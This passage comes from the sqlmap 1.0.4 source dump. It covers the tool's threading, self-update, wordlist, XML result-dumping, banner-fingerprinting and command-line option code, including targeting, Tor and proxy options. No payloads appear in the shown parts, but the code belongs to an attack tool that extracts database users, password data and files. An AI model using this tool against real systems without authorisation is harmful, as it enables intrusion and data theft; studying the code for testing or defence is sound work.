runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] kb.multiThreadMode = True kb.threadContinue = True kb.threadException = False if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) if choice: skipThreadCheck = False if choice.endswith('!'): choice = choice[:-1] skipThreadCheck = True if choice.isdigit(): if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: conf.threads = numThreads = int(choice) break if numThreads == 1: warnMsg = "running in a single-thread mode. This could take a while" logger.warn(warnMsg) try: if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: threadFunction() return # Start the threads for numThread in xrange(numThreads): thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) setDaemon(thread) try: thread.start() except ThreadError, ex: errMsg = "error occurred while starting new thread ('%s')" % ex.message logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish alive = True while alive: alive = False for thread in threads: if thread.isAlive(): alive = True time.sleep(0.1) except KeyboardInterrupt: print kb.threadContinue = False kb.threadException = True if numThreads > 1: logger.info("waiting for threads to finish (Ctrl+C was pressed)") try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise except (SqlmapConnectionException, SqlmapValueException), ex: print kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) except: from lib.core.common import unhandledExceptionMessage print kb.threadException = True errMsg = unhandledExceptionMessage() logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) traceback.print_exc() finally: kb.multiThreadMode = False kb.bruteMode = False kb.threadContinue = True kb.threadException = False for lock in kb.locks.values(): if lock.locked_lock(): try: lock.release() except thread.error: pass if conf.get("hashDB"): conf.hashDB.flush(True) if cleanupFunction: cleanupFunction() sqlmap-1.0.4/lib/core/unescaper.py000066400000000000000000000016451270044205500170530ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.data import conf from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE class Unescaper(AttribDict): def escape(self, expression, quote=True, dbms=None): if conf.noEscape: return expression if expression is None: return expression for exclude in EXCLUDE_UNESCAPE: if exclude in expression: return expression identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: return self[dbms](expression, quote=quote) elif identifiedDbms is not None: return self[identifiedDbms](expression, quote=quote) else: return expression unescaper = Unescaper() sqlmap-1.0.4/lib/core/update.py000066400000000000000000000060751270044205500163520ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import locale import os import re import time from subprocess import PIPE from subprocess import Popen as execute from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import pollProcess from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.revision import getRevisionNumber from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN def update(): if not conf.updateAll: return success = False if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')" logger.error(errMsg) else: infoMsg = "updating sqlmap to the latest development version from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) try: process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/ pollProcess(process, True) stdout, stderr = process.communicate() success = not process.returncode except (IOError, OSError), ex: success = False stderr = getSafeExString(ex) if success: import lib.core.settings _ = lib.core.settings.REVISION = getRevisionNumber() logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _)) else: if "Not a git repository" in stderr: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')" logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (http://windows.github.com/) or just " infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's required " infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" logger.info(infoMsg) sqlmap-1.0.4/lib/core/wordlist.py000066400000000000000000000055311270044205500167330ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import zipfile from lib.core.common import getSafeExString from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException from lib.core.settings import UNICODE_ENCODING class Wordlist(object): """ Iterator for looping over a large dictionaries """ def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): self.filenames = filenames self.fp = None self.index = 0 self.counter = -1 self.current = None self.iter = None self.custom = custom or [] self.proc_id = proc_id self.proc_count = proc_count self.adjust() def __iter__(self): return self def adjust(self): self.closeFP() if self.index > len(self.filenames): raise StopIteration elif self.index == len(self.filenames): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] if os.path.splitext(self.current)[1].lower() == ".zip": try: _ = zipfile.ZipFile(self.current, 'r') except zipfile.error, ex: errMsg = "something seems to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException, errMsg if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) self.fp = _.open(_.namelist()[0]) else: self.fp = open(self.current, 'r') self.iter = iter(self.fp) self.index += 1 def closeFP(self): if self.fp: self.fp.close() self.fp = None def next(self): retVal = None while True: self.counter += 1 try: retVal = self.iter.next().rstrip() except zipfile.error, ex: errMsg = "something seems to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException, errMsg except StopIteration: self.adjust() retVal = self.iter.next().rstrip() if not self.proc_count or self.counter % self.proc_count == self.proc_id: break return retVal def rewind(self): self.index = 0 self.adjust() sqlmap-1.0.4/lib/core/xmldump.py000066400000000000000000000473731270044205500165640ustar00rootroot00000000000000#!/usr/bin/env python import codecs import os import re import xml import xml.sax.saxutils as saxutils from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapFilePathException from lib.core.settings import UNICODE_ENCODING from thirdparty.prettyprint import prettyprint from xml.dom.minidom import Document from xml.parsers.expat import ExpatError TECHNIC_ELEM_NAME = "Technic" TECHNICS_ELEM_NAME = "Technics" BANNER_ELEM_NAME = "Banner" COLUMNS_ELEM_NAME = "DatabaseColumns" COLUMN_ELEM_NAME = "Column" CELL_ELEM_NAME = "Cell" COLUMN_ATTR = "column" ROW_ELEM_NAME = "Row" TABLES_ELEM_NAME = "tables" DATABASE_COLUMNS_ELEM = "DB" DB_TABLES_ELEM_NAME = "DBTables" DB_TABLE_ELEM_NAME = "DBTable" IS_DBA_ELEM_NAME = "isDBA" FILE_CONTENT_ELEM_NAME = "FileContent" DB_ATTR = "db" UNKNOWN_COLUMN_TYPE = "unknown" USER_SETTINGS_ELEM_NAME = "UserSettings" USER_SETTING_ELEM_NAME = "UserSetting" USERS_ELEM_NAME = "Users" USER_ELEM_NAME = "User" DB_USER_ELEM_NAME = "DBUser" SETTINGS_ELEM_NAME = "Settings" DBS_ELEM_NAME = "DBs" DB_NAME_ELEM_NAME = "DBName" DATABASE_ELEM_NAME = "Database" TABLE_ELEM_NAME = "Table" DB_TABLE_VALUES_ELEM_NAME = "DBTableValues" DB_VALUES_ELEM = "DBValues" QUERIES_ELEM_NAME = "Queries" QUERY_ELEM_NAME = "Query" REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries" REGISTER_DATA_ELEM_NAME = "RegisterData" DEFAULT_DB = "All" MESSAGE_ELEM = "Message" MESSAGES_ELEM_NAME = "Messages" ERROR_ELEM_NAME = "Error" LST_ELEM_NAME = "List" LSTS_ELEM_NAME = "Lists" CURRENT_USER_ELEM_NAME = "CurrentUser" CURRENT_DB_ELEM_NAME = "CurrentDB" MEMBER_ELEM = "Member" ADMIN_USER = "Admin" REGULAR_USER = "User" STATUS_ELEM_NAME = "Status" RESULTS_ELEM_NAME = "Results" UNHANDLED_PROBLEM_TYPE = "Unhandled" NAME_ATTR = "name" TYPE_ATTR = "type" VALUE_ATTR = "value" SUCESS_ATTR = "success" NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance' XMLNS_ATTR = "xmlns:xsi" SCHEME_NAME = "sqlmap.xsd" SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation" CHARACTERS_TO_ENCODE = range(32) + range(127, 256) ENTITIES = {'"': '"', "'": "'"} class XMLDump(object): ''' This class purpose is to dump the data into an xml Format. The format of the xml file is described in the scheme file xml/sqlmap.xsd ''' def __init__(self): self._outputFile = None self._outputFP = None self.__root = None self.__doc = Document() def _addToRoot(self, element): ''' Adds element to the root element ''' self.__root.appendChild(element) def __write(self, data, n=True): ''' Writes the data into the file ''' if n: self._outputFP.write("%s\n" % data) else: self._outputFP.write("%s " % data) self._outputFP.flush() kb.dataOutputFlag = True def _getRootChild(self, elemName): ''' Returns the child of the root with the described name ''' elements = self.__root.getElementsByTagName(elemName) if elements: return elements[0] return elements def _createTextNode(self, data): ''' Creates a text node with utf8 data inside. The text is escaped to an fit the xml text Format. ''' if data is None: return self.__doc.createTextNode(u'') else: escaped_data = saxutils.escape(data, ENTITIES) return self.__doc.createTextNode(escaped_data) def _createAttribute(self, attrName, attrValue): ''' Creates an attribute node with utf8 data inside. The text is escaped to an fit the xml text Format. ''' attr = self.__doc.createAttribute(attrName) if attrValue is None: attr.nodeValue = u'' else: attr.nodeValue = getUnicode(attrValue) return attr def string(self, header, data, sort=True): ''' Adds string element to the xml. ''' if isinstance(data, (list, tuple, set)): self.lister(header, data, sort) return messagesElem = self._getRootChild(MESSAGES_ELEM_NAME) if (not(messagesElem)): messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME) self._addToRoot(messagesElem) if data: data = self._formatString(data) else: data = "" elem = self.__doc.createElement(MESSAGE_ELEM) elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) elem.appendChild(self._createTextNode(data)) messagesElem.appendChild(elem) def lister(self, header, elements, sort=True): ''' Adds information formatted as list element ''' lstElem = self.__doc.createElement(LST_ELEM_NAME) lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) if elements: if sort: try: elements = set(elements) elements = list(elements) elements.sort(key=lambda x: x.lower()) except: pass for element in elements: memberElem = self.__doc.createElement(MEMBER_ELEM) lstElem.appendChild(memberElem) if isinstance(element, basestring): memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string")) memberElem.appendChild(self._createTextNode(element)) elif isinstance(element, (list, tuple, set)): memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list")) for e in element: memberElemStr = self.__doc.createElement(MEMBER_ELEM) memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string")) memberElemStr.appendChild(self._createTextNode(getUnicode(e))) memberElem.appendChild(memberElemStr) listsElem = self._getRootChild(LSTS_ELEM_NAME) if not(listsElem): listsElem = self.__doc.createElement(LSTS_ELEM_NAME) self._addToRoot(listsElem) listsElem.appendChild(lstElem) def technic(self, technicType, data): ''' Adds information about the technic used to extract data from the db ''' technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME) technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType)) textNode = self._createTextNode(data) technicElem.appendChild(textNode) technicsElem = self._getRootChild(TECHNICS_ELEM_NAME) if not(technicsElem): technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME) self._addToRoot(technicsElem) technicsElem.appendChild(technicElem) def banner(self, data): ''' Adds information about the database banner to the xml. The banner contains information about the type and the version of the database. ''' bannerElem = self.__doc.createElement(BANNER_ELEM_NAME) bannerElem.appendChild(self._createTextNode(data)) self._addToRoot(bannerElem) def currentUser(self, data): ''' Adds information about the current database user to the xml ''' currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME) textNode = self._createTextNode(data) currentUserElem.appendChild(textNode) self._addToRoot(currentUserElem) def currentDb(self, data): ''' Adds information about the current database is use to the xml ''' currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME) textNode = self._createTextNode(data) currentDBElem.appendChild(textNode) self._addToRoot(currentDBElem) def dba(self, isDBA): ''' Adds information to the xml that indicates whether the user has DBA privileges ''' isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME) isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA))) self._addToRoot(isDBAElem) def users(self, users): ''' Adds a list of the existing users to the xml ''' usersElem = self.__doc.createElement(USERS_ELEM_NAME) if isinstance(users, basestring): users = [users] if users: for user in users: userElem = self.__doc.createElement(DB_USER_ELEM_NAME) usersElem.appendChild(userElem) userElem.appendChild(self._createTextNode(user)) self._addToRoot(usersElem) def dbs(self, dbs): ''' Adds a list of the existing databases to the xml ''' dbsElem = self.__doc.createElement(DBS_ELEM_NAME) if dbs: for db in dbs: dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME) dbsElem.appendChild(dbElem) dbElem.appendChild(self._createTextNode(db)) self._addToRoot(dbsElem) def userSettings(self, header, userSettings, subHeader): ''' Adds information about the user's settings to the xml. The information can be user's passwords, privileges and etc.. ''' self._areAdmins = set() userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME) if (not(userSettingsElem)): userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME) self._addToRoot(userSettingsElem) userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME) userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header)) if isinstance(userSettings, (tuple, list, set)): self._areAdmins = userSettings[1] userSettings = userSettings[0] users = userSettings.keys() users.sort(key=lambda x: x.lower()) for user in users: userElem = self.__doc.createElement(USER_ELEM_NAME) userSettingElem.appendChild(userElem) if user in self._areAdmins: userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER)) else: userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER)) settings = userSettings[user] settings.sort() for setting in settings: settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME) settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader)) settingTextNode = self._createTextNode(setting) settingsElem.appendChild(settingTextNode) userElem.appendChild(settingsElem) userSettingsElem.appendChild(userSettingElem) def dbTables(self, dbTables): ''' Adds information of the existing db tables to the xml ''' if not isinstance(dbTables, dict): self.string(TABLES_ELEM_NAME, dbTables) return dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME) for db, tables in dbTables.items(): tables.sort(key=lambda x: x.lower()) dbElem = self.__doc.createElement(DATABASE_ELEM_NAME) dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db)) dbTablesElem.appendChild(dbElem) for table in tables: tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME) tableElem.appendChild(self._createTextNode(table)) dbElem.appendChild(tableElem) self._addToRoot(dbTablesElem) def dbTableColumns(self, tableColumns): ''' Adds information about the columns of the existing tables to the xml ''' columnsElem = self._getRootChild(COLUMNS_ELEM_NAME) if not(columnsElem): columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME) for db, tables in tableColumns.items(): if not db: db = DEFAULT_DB dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM) dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db)) columnsElem.appendChild(dbElem) for table, columns in tables.items(): tableElem = self.__doc.createElement(TABLE_ELEM_NAME) tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table)) colList = columns.keys() colList.sort(key=lambda x: x.lower()) for column in colList: colType = columns[column] colElem = self.__doc.createElement(COLUMN_ELEM_NAME) if colType is not None: colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType)) else: colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE)) colElem.appendChild(self._createTextNode(column)) tableElem.appendChild(colElem) self._addToRoot(columnsElem) def dbTableValues(self, tableValues): ''' Adds the values of specific table to the xml. The values are organized according to the relevant row and column. ''' tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME) if (tableValues is not None): db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] count = int(tableValues["__infos__"]["count"]) columns = tableValues.keys() columns.sort(key=lambda x: x.lower()) tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db)) tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table)) for i in range(count): rowElem = self.__doc.createElement(ROW_ELEM_NAME) tableElem.appendChild(rowElem) for column in columns: if column != "__infos__": info = tableValues[column] value = info["values"][i] if re.search("^[\ *]*$", value): value = "NULL" cellElem = self.__doc.createElement(CELL_ELEM_NAME) cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column)) cellElem.appendChild(self._createTextNode(value)) rowElem.appendChild(cellElem) dbValuesElem = self._getRootChild(DB_VALUES_ELEM) if (not(dbValuesElem)): dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM) self._addToRoot(dbValuesElem) dbValuesElem.appendChild(tableElem) logger.info("Table '%s.%s' dumped to XML file" % (db, table)) def dbColumns(self, dbColumns, colConsider, dbs): ''' Adds information about the columns ''' for column in dbColumns.keys(): printDbs = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column in col: if db in printDbs: if tbl in printDbs[db]: printDbs[db][tbl][col] = dataType else: printDbs[db][tbl] = {col: dataType} else: printDbs[db] = {} printDbs[db][tbl] = {col: dataType} continue self.dbTableColumns(printDbs) def query(self, query, queryRes): ''' Adds details of an executed query to the xml. The query details are the query itself and its results. ''' queryElem = self.__doc.createElement(QUERY_ELEM_NAME) queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query)) queryElem.appendChild(self._createTextNode(queryRes)) queriesElem = self._getRootChild(QUERIES_ELEM_NAME) if (not(queriesElem)): queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME) self._addToRoot(queriesElem) queriesElem.appendChild(queryElem) def registerValue(self, registerData): ''' Adds information about an extracted registry key to the xml ''' registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME) registerElem.appendChild(self._createTextNode(registerData)) registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME) if (not(registriesElem)): registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME) self._addToRoot(registriesElem) registriesElem.appendChild(registerElem) def rFile(self, filePath, data): ''' Adds an extracted file's content to the xml ''' fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME) fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath)) fileContentElem.appendChild(self._createTextNode(data)) self._addToRoot(fileContentElem) def setOutputFile(self): ''' Initiates the xml file from the configuration. ''' if (conf.xmlFile): try: self._outputFile = conf.xmlFile self.__root = None if os.path.exists(self._outputFile): try: self.__doc = xml.dom.minidom.parse(self._outputFile) self.__root = self.__doc.childNodes[0] except ExpatError: self.__doc = Document() self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING) if self.__root is None: self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME) self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR)) self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME)) self.__doc.appendChild(self.__root) except IOError: raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile) def getOutputFile(self): return self._outputFile def finish(self, resultStatus, resultMsg=""): ''' Finishes the dumper operation: 1. Adds the session status to the xml 2. Writes the xml to the file 3. Closes the xml file ''' if ((self._outputFP is not None) and not(self._outputFP.closed)): statusElem = self.__doc.createElement(STATUS_ELEM_NAME) statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus))) if not resultStatus: errorElem = self.__doc.createElement(ERROR_ELEM_NAME) if isinstance(resultMsg, Exception): errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__)) else: errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE)) errorElem.appendChild(self._createTextNode(getUnicode(resultMsg))) statusElem.appendChild(errorElem) self._addToRoot(statusElem) self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING)) self._outputFP.close() def closeDumper(status, msg=""): """ Closes the dumper of the session """ if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"): conf.dumper.finish(status, msg) dumper = XMLDump() sqlmap-1.0.4/lib/parse/000077500000000000000000000000001270044205500146705ustar00rootroot00000000000000sqlmap-1.0.4/lib/parse/__init__.py000066400000000000000000000002261270044205500170010ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/parse/banner.py000066400000000000000000000067371270044205500165240ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr from lib.core.data import kb from lib.core.data import paths from lib.core.enums import DBMS from lib.parse.handler import FingerprintHandler class MSSQLBannerHandler(ContentHandler): """ This class defines methods to parse and extract information from the given Microsoft SQL Server banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner) self._inVersion = False self._inServicePack = False self._release = None self._version = "" self._versionAlt = None self._servicePack = "" self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None"): return self._info[key] = value def startElement(self, name, attrs): if name == "signatures": self._release = sanitizeStr(attrs.get("release")) elif name == "version": self._inVersion = True elif name == "servicepack": self._inServicePack = True def characters(self, data): if self._inVersion: self._version += sanitizeStr(data) elif self._inServicePack: self._servicePack += sanitizeStr(data) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) break self._version = "" self._versionAlt = None self._servicePack = "" elif name == "version": self._inVersion = False self._version = self._version.replace(" ", "") match = re.search(r"\A(?P\d+)\.00\.(?P\d+)\Z", self._version) self._versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None elif name == "servicepack": self._inServicePack = False self._servicePack = self._servicePack.replace(" ", "") def bannerParser(banner): """ This function calls a class to extract information from the given DBMS banner based upon the data in XML file """ xmlfile = None if Backend.isDbms(DBMS.MSSQL): xmlfile = paths.MSSQL_XML elif Backend.isDbms(DBMS.MYSQL): xmlfile = paths.MYSQL_XML elif Backend.isDbms(DBMS.ORACLE): xmlfile = paths.ORACLE_XML elif Backend.isDbms(DBMS.PGSQL): xmlfile = paths.PGSQL_XML if not xmlfile: return if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(paths.GENERIC_XML, handler) else: handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) sqlmap-1.0.4/lib/parse/cmdline.py000066400000000000000000001236321270044205500166640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re import shlex import sys from optparse import OptionError from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP from lib.core.common import checkDeprecatedOptions from lib.core.common import checkSystemEncoding from lib.core.common import expandMnemonics from lib.core.common import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory def cmdLineParser(argv=None): """ This function parses the command line parameters and arguments """ if not argv: argv = sys.argv checkSystemEncoding() _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding()) usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % _ if " " in _ else _) parser = OptionParser(usage=usage) try: parser.add_option("--hh", dest="advancedHelp", action="store_true", help="Show advanced help message and exit") parser.add_option("--version", dest="showVersion", action="store_true", help="Show program's version number and exit") parser.add_option("-v", dest="verbose", type="int", help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options target = OptionGroup(parser, "Target", "At least one of these " "options has to be provided to define the target(s)") target.add_option("-d", dest="direct", help="Connection string " "for direct database connection") target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_option("-l", dest="logFile", help="Parse target(s) from Burp " "or WebScarab proxy log file") target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file") target.add_option("-m", dest="bulkFile", help="Scan multiple targets given " "in a textual file ") target.add_option("-r", dest="requestFile", help="Load HTTP request from a file") target.add_option("-g", dest="googleDork", help="Process Google dork results as target URLs") target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target URL") request.add_option("--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_option("--data", dest="data", help="Data string to be sent through POST") request.add_option("--param-del", dest="paramDel", help="Character used for splitting parameter values") request.add_option("--cookie", dest="cookie", help="HTTP Cookie header value") request.add_option("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values") request.add_option("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") request.add_option("--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_option("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") request.add_option("--host", dest="host", help="HTTP Host header value") request.add_option("--referer", dest="referer", help="HTTP Referer header value") request.add_option("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_option("--auth-type", dest="authType", help="HTTP authentication type " "(Basic, Digest, NTLM or PKI)") request.add_option("--auth-cred", dest="authCred", help="HTTP authentication credentials " "(name:password)") request.add_option("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") request.add_option("--ignore-401", dest="ignore401", action="store_true", help="Ignore HTTP Error 401 (Unauthorized)") request.add_option("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_option("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials " "(name:password)") request.add_option("--proxy-file", dest="proxyFile", help="Load proxy list from a file") request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") request.add_option("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") request.add_option("--tor-port", dest="torPort", help="Set Tor proxy port other than default") request.add_option("--tor-type", dest="torType", help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)") request.add_option("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") request.add_option("--delay", dest="delay", type="float", help="Delay in seconds between each HTTP request") request.add_option("--timeout", dest="timeout", type="float", help="Seconds to wait before timeout connection " "(default %d)" % defaults.timeout) request.add_option("--retries", dest="retries", type="int", help="Retries when the connection timeouts " "(default %d)" % defaults.retries) request.add_option("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") request.add_option("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") request.add_option("--safe-post", dest="safePost", help="POST data to send to a safe URL") request.add_option("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") request.add_option("--safe-freq", dest="safeFreq", type="int", help="Test requests between two visits to a given safe URL") request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") request.add_option("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") 